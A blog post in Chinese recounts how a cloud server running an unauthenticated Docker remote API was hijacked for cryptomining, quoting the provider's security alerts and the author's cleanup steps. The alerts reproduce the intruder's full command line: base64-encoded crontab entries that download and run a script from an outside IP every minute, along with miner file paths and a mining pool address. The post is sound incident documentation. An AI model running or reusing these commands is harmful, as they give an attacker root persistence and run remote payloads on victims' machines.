记录一次服务器因打开Docker允许远程登陆而不添加任何防护而被挖矿的经历
使用Docker-java后开启了docker远程访问端口后被挖矿程序入侵
阿里工程师对安全报告的分析
根据安全中心告警来看,首次发生的异常安全告警中可疑编码命令的进程链,是使用容器技术(如 Docker 和 containerd)启动和运行一个容器的过程。
-[911472] runc ... create ...: 这是 runc 进程的 PID,runc 是一个轻量级的容器
-[911482] /bin/sh -c if ...: 这是容器内正在执行的脚本的 PID。从这个脚本内容来看,这是一个恶意脚本。它首先尝试安装 curl ,然后修改 crontab(计划任务)来执行一个编码后的命令(使用 base64),该命令看起来是尝试从外部服务器下载并执行进一步的恶意脚本。
同时,您这边反馈也是开放docker后出现的异常,判断此问题是和docker被入侵有关。
安全警告原文
云安全中心安全事件提醒
2024-2-3
阿里云服务器
安全事件告警
尊敬的阿里云用户同月故人,您好!
您名下的资产 iZwz90iy2hshietkko9xelZ 出现了安全告警:可疑编码命令
建议您点击前往处理,防止黑客进一步行动
立即处理
可疑编码命令 可疑
发生时间:2024-02-03 13:50:45
IP:112.74.36.*** 172.23.123.***
告警描述:检测模型发现您的服务器上执行的进程命令行高度可疑,很有可能与木马、病毒、黑客行为有关。
异常事件详情
数据来源: 进程启动触发检测
用户名:root
命令行:/bin/sh -c if ! type curl >/dev/null;then apt-get install -y curl;apt-get install -y --reinstall curl;yum clean all;yum install -y curl;yum reinstall -y curl;fi; echo '* * * * * root echo Y3VybCAtZnNTTCBodHRwOi8vMTQwLjk5LjMyLjQ4L2IyZjYyOC9jcm9uYi5zaAo=|base64 -d|bash|bash' >/etc/crontab && echo '* * * * * root echo Y3VybCAtZnNTTCBodHRwOi8vYi5jbFx1LVxlLmV1L2IyZjYyOC9jcm9uYi5zaAo=|base64 -d|bash|bash' >/etc/cron.d/zzh && echo KiAqICogKiAqIHJvb3QgcHl0aG9uIC1jICJpbXBvcnQgdXJsbGliMjsgcHJpbnQgdXJsbGliMi51cmxvcGVuKCdodHRwOi8vYi5cXGNcXGxcXHUtZVxcLmVcXHUvdC5zaCcpLnJlYWQoKSIgPi4xO2NobW9kICt4IC4xOy4vLjEK|base64 -d >>/etc/crontab
进程路径:/mnt/usr/bin/dash
进程ID:911482
父进程文件路径:/usr/bin/runc
父进程ID:911481
进程链:
-[512] /usr/bin/containerd
-[911456] /usr/bin/containerd-shim-runc-v2 -namespace moby -address /run/containerd/containerd.sock -publish-binary /usr/bin/containerd -id d41c6b28739e1b39bbbaa4f7e9097070c61d3ff60d47f123253e5e82a9c60a1c start
-[911463] /usr/bin/containerd-shim-runc-v2 -namespace moby -id d41c6b28739e1b39bbbaa4f7e9097070c61d3ff60d47f123253e5e82a9c60a1c -address /run/containerd/containerd.sock
-[911472] runc --root /var/run/docker/runtime-runc/moby --log /run/containerd/io.containerd.runtime.v2.task/moby/d41c6b28739e1b39bbbaa4f7e9097070c61d3ff60d47f123253e5e82a9c60a1c/log.json --log-format json create --bundle /run/containerd/io.containerd.runtime.v2.task/moby/d41c6b28739e1b39bbbaa4f7e9097070c61d3ff60d47f123253e5e82a9c60a1c --pid-file /run/containerd/io.containerd.runtime.v2.task/moby/d41c6b28739e1b39bbbaa4f7e9097070c61d3ff60d47f123253e5e82a9c60a1c/init.pid d41c6b28739e1b39bbbaa4f7e9097070c61d3ff60d47f123253e5e82a9c60a1c
-[911480] runc init
-[911481] runc init
-[911482] /bin/sh -c if ! type curl >/dev/null;then apt-get install -y curl;apt-get install -y --reinstall curl;yum clean all;yum install -y curl;yum reinstall -y curl;fi; echo '* * * * * root echo Y3VybCAtZnNTTCBodHRwOi8vMTQwLjk5LjMyLjQ4L2IyZjYyOC9jcm9uYi5zaAo=|base64 -d|bash|bash' >/etc/crontab && echo '* * * * * root echo Y3VybCAtZnNTTCBodHRwOi8vYi5jbFx1LVxlLmV1L2IyZjYyOC9jcm9uYi5zaAo=|base64 -d|bash|bash' >/etc/cron.d/zzh && echo KiAqICogKiAqIHJvb3QgcHl0aG9uIC1jICJpbXBvcnQgdXJsbGliMjsgcHJpbnQgdXJsbGliMi51cmxvcGVuKCdodHRwOi8vYi5cXGNcXGxcXHUtZVxcLmVcXHUvdC5zaCcpLnJlYWQoKSIgPi4xO2NobW9kICt4IC4xOy4vLjEK|base64 -d >>/etc/crontab
容器ID:d41c6b28739e1b39bbbaa4f7e9097070c61d3ff60d47f123253e5e82a9c60a1c
提示:该进程的命令行参数中存在编码,并且解码后的内容可疑
描述:该进程的命令行参数中存在编码,并且解码后的内容可疑。攻击者在植入恶意代码时,有可能会先进行编码。
处置建议:
1.验证告警的准确性
a)检查告警中的内容。在互联网或威胁情报平台上搜索。
b)联系该设备所有者,验证该活动是否合法。
c)查看该设备是否还有其他类型的告警。交叉验证告警准确性。
d)使用“告警溯源”、“日志分析”功能,深入调查告警。
2.阻止或缓解恶意行为造成的影响。您可以隔离可疑文件、停止可疑进程、隔离受影响的机器、停用受感染的帐户或重置密码、阻止 IP 地址和 URL,并安装安全更新。
3.调查告警消除根因。执行漏洞扫描、基线检查,查找已知的弱点并进行修复。
4.联系您的安全事件响应团队,或者购买第三方应急响应服务,例如安全管家协助进行处理。
事件说明
检测模型发现您的服务器上执行的进程命令行高度可疑,很有可能与木马、病毒、黑客行为有关。
ECS服务器管理重要通知
ECS服务器管理重要通知
2024-2-4
尊敬的同月故人:
您的云服务器(112.74.36.87)由于被检测到对外攻击,已阻断该服务器对其它服务器端口(TCP:8090)的访问,阻断预计将在2024-02-04 16:57:09时间内结束,请及时进行安全自查。若有疑问,请工单或电话联系阿里云售后。感谢您对阿里云的支持。
挖矿处置通知
【挖矿处置通知】为避免您的云服务被关停,请尽快清理挖矿活动
2024-2-4
尊敬的同月故人:
您好!
经检测您的阿里云服务中存在挖矿活动。根据相关法规、政策的规定,阿里云禁止客户利用阿里云服务直接或间接地从事与虚拟货币相关的业务及行为,包括但不限于虚拟货币的勘探(挖矿)、登记、交易、清算、结算等,如用户违反上述规定,阿里云有权立即停止提供所有服务。
请您于2024-02-09 00时前完成挖矿问题整改、清零,逾期未处置您的服务将被关停。若您未曾主动从事与虚拟货币相关的业务及行为,可参考FAQ帮助您整改。
涉及挖矿云服务列表:
i-wz90iy2hshietkko9xel(ECS)
附:《禁止使用阿里云服务从事虚拟货币相关活动的声明》
FAQ:
问:我不知道什么是挖矿,暂时没有相关技术能力排查挖矿程序,我应该怎么办?
答:您的云服务极有可能被外部网络攻击者恶意入侵并用于从事挖矿活动。
1. 您可以按以下步骤对您的云服务进行初步排查。
排查是否有异常的CPU占用(注:挖矿木马可能不会占满您的CPU,但CPU负载会长时间稳定在一定水平,如20%、50%)。
排查是否有异常的网络连接,如连接非常见端口、连接未知IP/海外IP等。
排查系统定时任务中是否存在未知/恶意命令。
确认是否有搭建网络代理服务,该服务可能被恶意利用,为挖矿提供通信流量转发。
若仍然未能发现挖矿程序,强烈建议您在备份重要数据后,重新初始化云盘,可确保完全清理挖矿程序。
2. 您可以免费试用云安全中心、云防火墙,以辅助您排查挖矿活动。(注:试用扫描结果仅作紧急排查辅助,请勿作为唯一参考)
云安全中心清理挖矿程序:登录云安全中心控制台(免费试用)→ 客户端安装 → 病毒扫描 → 告警处理;详细见《云安全中心挖矿程序处理最佳实践》
云防火墙阻断挖矿通信、防止挖矿程序再植入:登录云防火墙控制台(免费试用)→ 攻击防护 → 防护配置(拦截模式)→ 打开威胁情报,基础防御以及虚拟补丁开关:详细见《云防火墙防御挖矿蠕虫最佳实践》
问:我已经进行了挖矿程序清理,不清楚是否还有残留、是否还会关停?
答:若您的服务存在挖矿行为,在关停限期前2日会通过邮件、短信、语音、站内消息通知等方式向您发送通知,请注意关注。若关停限期前2日均未收到挖矿治理消息通知,则您的服务不会被关停。
问:服务即将被关停,我由于客观原因限制来不及完成整改,应该怎么办?
答:您可以通过工单或电话联系阿里云客服反馈
最近一次模型检测结果
在回滚快照之后,可能会有残留,也有可能是模型滞后性
检测模型最近一次检测到挖矿是2024-02-04 08:25,112.74.36.87:54634与矿池209.141.37.110:80存在挖矿通信。
看了cpu恢复到正常
恢复前:
恢复后:
ECS同时连接数
恢复前:
恢复后:
安全告警
序号 | 紧急程度 | 告警名称 | 受影响资产 | 最新发生时间 |
---|---|---|---|---|
1 | 紧急 | 挖矿程序 | iZwz90iy2hshietkko9xelZ | 2024-02-03 23:29:22 |
2 | 紧急 | 恶意脚本代码执行 | iZwz90iy2hshietkko9xelZ | 2024-02-03 23:17:15 |
3 | 紧急 | 恶意脚本代码执行 | iZwz90iy2hshietkko9xelZ | 2024-02-03 23:17:15 |
4 | 紧急 | 恶意脚本代码执行 | iZwz90iy2hshietkko9xelZ | 2024-02-03 18:26:41 |
5 | 紧急 | 恶意脚本代码执行 | iZwz90iy2hshietkko9xelZ | 2024-02-03 18:26:41 |
1 挖矿程序
事件说明
在您的系统磁盘上发现了可疑文件,建议您先确认文件合法性并进行处理。
通常黑客入侵后会植入挖矿程序赚取收益,该类程序占用CPU等资源,影响用户正常业务,危害较大。且该程序可能还存在自删除行为,或伪装成系统程序以躲避检测。
处置建议
如果您确认该文件不是自己部署的业务所需文件,建议点击【处理】-> 【病毒查杀-结束进程并隔离文件】-> 【立即处理】,将终止恶意进程并隔离恶意文件。如果该文件不存在,请检查是否存在可疑进程、定时任务或启动项。 如果您确认该文件是自身业务文件,是误报,建议点击【处理】-> 【加白名单】-> 【立即处理】,后续将不会产生该文件告警。
更多信息
文件路径/var/tmp/.11/sshd
恶意文件md51ba3f6f197a8ddd84cf30e29eed01ae9
扫描来源方式进程启动扫描
检测方式云查杀
进程id23341
进程命令行/var/tmp/.11/sshd
文件创建用户N/A
文件修改时间2023-11-14 16:02:52
样本家族与特征Miner:Linux/CoinMiner
源文件下载
检测引擎:
2 恶意脚本代码执行
事件说明
云安全中心检测到您的主机正在执行恶意的脚本代码(包括但不限于Bash、Powershell、Python等),建议您确认脚本代码的合法性并进行相关处理。
恶意脚本是指一切以制造危害或者损害系统功能为目的任何脚本。Linux系统中常见恶意脚本为Bash、Python、Perl等,Windows系统中常见恶意脚本为Powershell。
处置建议
请您先判断该行为是否是运维操作或业务的正常机制, 如果是,您可以选择在控制台对此次告警进行【加白名单】或【忽略】处理;如果不是,请您终止相关恶意进程并排查入侵影响。
更多信息
命令行chroot /mnt/ /bin/sh -c if ! type curl >/dev/null;then apt-get install -y curl;apt-get install -y –reinstall curl;yum clean all;yum install -y curl;yum reinstall -y curl;fi;echo “ * * root curl http://IP/b2f628/cronb.sh|bash">/etc/crontab && echo “ * * root curl http://IP//b2f628/cronb.sh|bash">/etc/cron.d/zzh
进程PID22840
进程文件名busybox
父进程ID22838
父进程路径runc
父进程文件路径/usr/bin/runc
进程链-[537]
/usr/bin/containerd
-[22809]/usr/bin/containerd-shim-runc-v2 -namespace moby -address /run/containerd/containerd.sock -publish-binary /usr/bin/containerd -id ffa9ad2414dee4224995f9c03ddfd4d485f3d33771e676f0c90887a98d89679e start
-[22817]/usr/bin/containerd-shim-runc-v2 -namespace moby -id ffa9ad2414dee4224995f9c03ddfd4d485f3d33771e676f0c90887a98d89679e -address /run/containerd/containerd.sock
-[22828]runc --root /var/run/docker/runtime-runc/moby --log /run/containerd/io.containerd.runtime.v2.task/moby/ffa9ad2414dee4224995f9c03ddfd4d485f3d33771e676f0c90887a98d89679e/log.json --log-format json create --bundle /run/containerd/io.containerd.runtime.v2.task/moby/ffa9ad2414dee4224995f9c03ddfd4d485f3d33771e676f0c90887a98d89679e --pid-file /run/containerd/io.containerd.runtime.v2.task/moby/ffa9ad2414dee4224995f9c03ddfd4d485f3d33771e676f0c90887a98d89679e/init.pid ffa9ad2414dee4224995f9c03ddfd4d485f3d33771e676f0c90887a98d89679e
-[22837]runc init
-[22838]runc init
检测引擎:
3 恶意脚本代码执行
事件说明
云安全中心检测到您的主机正在执行恶意的脚本代码(包括但不限于Bash、Powershell、Python等),建议您确认脚本代码的合法性并进行相关处理。
恶意脚本是指一切以制造危害或者损害系统功能为目的任何脚本。Linux系统中常见恶意脚本为Bash、Python、Perl等,Windows系统中常见恶意脚本为Powershell。
处置建议
请您先判断该行为是否是运维操作或业务的正常机制, 如果是,您可以选择在控制台对此次告警进行【加白名单】或【忽略】处理;如果不是,请您终止相关恶意进程并排查入侵影响。
更多信息
命令行/bin/sh -c if ! type curl >/dev/null;then apt-get install -y curl;apt-get install -y –reinstall curl;yum clean all;yum install -y curl;yum reinstall -y curl;fi;echo “ * * root curl http://IP//b2f628/cronb.sh|bash">/etc/crontab && echo “ * * root curl http://IP//b2f628/cronb.sh|bash">/etc/cron.d/zzh
进程PID22840
进程文件名dash
父进程ID22838
父进程路径runc
父进程文件路径/usr/bin/runc
进程链-[537]
/usr/bin/containerd
-[22809]/usr/bin/containerd-shim-runc-v2 -namespace moby -address /run/containerd/containerd.sock -publish-binary /usr/bin/containerd -id ffa9ad2414dee4224995f9c03ddfd4d485f3d33771e676f0c90887a98d89679e start
-[22817]/usr/bin/containerd-shim-runc-v2 -namespace moby -id ffa9ad2414dee4224995f9c03ddfd4d485f3d33771e676f0c90887a98d89679e -address /run/containerd/containerd.sock
-[22828]runc --root /var/run/docker/runtime-runc/moby --log /run/containerd/io.containerd.runtime.v2.task/moby/ffa9ad2414dee4224995f9c03ddfd4d485f3d33771e676f0c90887a98d89679e/log.json --log-format json create --bundle /run/containerd/io.containerd.runtime.v2.task/moby/ffa9ad2414dee4224995f9c03ddfd4d485f3d33771e676f0c90887a98d89679e --pid-file /run/containerd/io.containerd.runtime.v2.task/moby/ffa9ad2414dee4224995f9c03ddfd4d485f3d33771e676f0c90887a98d89679e/init.pid ffa9ad2414dee4224995f9c03ddfd4d485f3d33771e676f0c90887a98d89679e
-[22837]runc init
-[22838]runc init
检测引擎:
4 恶意脚本代码执行
事件说明
云安全中心检测到您的主机正在执行恶意的脚本代码(包括但不限于Bash、Powershell、Python等),建议您确认脚本代码的合法性并进行相关处理。
恶意脚本是指一切以制造危害或者损害系统功能为目的任何脚本。Linux系统中常见恶意脚本为Bash、Python、Perl等,Windows系统中常见恶意脚本为Powershell。
处置建议
请您先判断该行为是否是运维操作或业务的正常机制, 如果是,您可以选择在控制台对此次告警进行【加白名单】或【忽略】处理;如果不是,请您终止相关恶意进程并排查入侵影响。
更多信息
命令行chroot /mnt/ /bin/sh -c if ! type curl >/dev/null;then apt-get install -y curl;apt-get install -y –reinstall curl;yum clean all;yum install -y curl;yum reinstall -y curl;fi;echo “ * * root curl http://IP//b2f628/cronb.sh|bash">/etc/crontab && echo “ * * root curl http://IP//b2f628/cronb.sh|bash">/etc/cron.d/zzh
进程PID2874
进程文件名busybox
父进程ID2873
父进程路径runc
父进程文件路径/usr/bin/runc
进程链-[537]
/usr/bin/containerd
-[2846]/usr/bin/containerd-shim-runc-v2 -namespace moby -address /run/containerd/containerd.sock -publish-binary /usr/bin/containerd -id 64e8c951b6e300fbbad364a7419848b849a09dc682b915ad15e0238d97954f8a start
-[2854]/usr/bin/containerd-shim-runc-v2 -namespace moby -id 64e8c951b6e300fbbad364a7419848b849a09dc682b915ad15e0238d97954f8a -address /run/containerd/containerd.sock
-[2863]runc --root /var/run/docker/runtime-runc/moby --log /run/containerd/io.containerd.runtime.v2.task/moby/64e8c951b6e300fbbad364a7419848b849a09dc682b915ad15e0238d97954f8a/log.json --log-format json create --bundle /run/containerd/io.containerd.runtime.v2.task/moby/64e8c951b6e300fbbad364a7419848b849a09dc682b915ad15e0238d97954f8a --pid-file /run/containerd/io.containerd.runtime.v2.task/moby/64e8c951b6e300fbbad364a7419848b849a09dc682b915ad15e0238d97954f8a/init.pid 64e8c951b6e300fbbad364a7419848b849a09dc682b915ad15e0238d97954f8a
-[2872]runc init
-[2873]runc init
检测引擎:
5 恶意脚本代码执行
事件说明
云安全中心检测到您的主机正在执行恶意的脚本代码(包括但不限于Bash、Powershell、Python等),建议您确认脚本代码的合法性并进行相关处理。
恶意脚本是指一切以制造危害或者损害系统功能为目的任何脚本。Linux系统中常见恶意脚本为Bash、Python、Perl等,Windows系统中常见恶意脚本为Powershell。
处置建议
请您先判断该行为是否是运维操作或业务的正常机制, 如果是,您可以选择在控制台对此次告警进行【加白名单】或【忽略】处理;如果不是,请您终止相关恶意进程并排查入侵影响。
更多信息
命令行/bin/sh -c if ! type curl >/dev/null;then apt-get install -y curl;apt-get install -y –reinstall curl;yum clean all;yum install -y curl;yum reinstall -y curl;fi;echo “ * * root curl http://IP//b2f628/cronb.sh|bash">/etc/crontab && echo “ * * root curl http://IP//b2f628/cronb.sh|bash">/etc/cron.d/zzh
进程PID2874
进程文件名dash
父进程ID2873
父进程路径runc
父进程文件路径/usr/bin/runc
进程链-[537]
/usr/bin/containerd
-[2846]/usr/bin/containerd-shim-runc-v2 -namespace moby -address /run/containerd/containerd.sock -publish-binary /usr/bin/containerd -id 64e8c951b6e300fbbad364a7419848b849a09dc682b915ad15e0238d97954f8a start
-[2854]/usr/bin/containerd-shim-runc-v2 -namespace moby -id 64e8c951b6e300fbbad364a7419848b849a09dc682b915ad15e0238d97954f8a -address /run/containerd/containerd.sock
-[2863]runc --root /var/run/docker/runtime-runc/moby --log /run/containerd/io.containerd.runtime.v2.task/moby/64e8c951b6e300fbbad364a7419848b849a09dc682b915ad15e0238d97954f8a/log.json --log-format json create --bundle /run/containerd/io.containerd.runtime.v2.task/moby/64e8c951b6e300fbbad364a7419848b849a09dc682b915ad15e0238d97954f8a --pid-file /run/containerd/io.containerd.runtime.v2.task/moby/64e8c951b6e300fbbad364a7419848b849a09dc682b915ad15e0238d97954f8a/init.pid 64e8c951b6e300fbbad364a7419848b849a09dc682b915ad15e0238d97954f8a
-[2872]runc init
-[2873]runc init
检测引擎:
总结
该脚本技术难度不高,采用docker远程api未授权访问逃逸
https://wiki.teamssix.com/CloudNative/Docker/docker-remote-api-unauth-escape.html
代码基本一致
创建容器后再下载相关脚本,借助docker走root访问权限,执行挖矿程序
该挖矿程序不但执行挖矿,还借助我的服务器扫描国内服务器开放docker远程访问的容器,并再次执行同样操作
docker远程访问端口要保护好。
清除该脚本的方法
目前采用回滚快照的方法,大概率没问题
其采用docker远程技术绕开,故在打开docker远程连接后执行,而我的快照是再此之前,故快照基本没问题。
至于有没有加到定时任务中,还有待发现。
借助crontab -l
和crontab -l -u root
和cat /etc/crontab
查看后,均未发现定时任务(回滚快照后)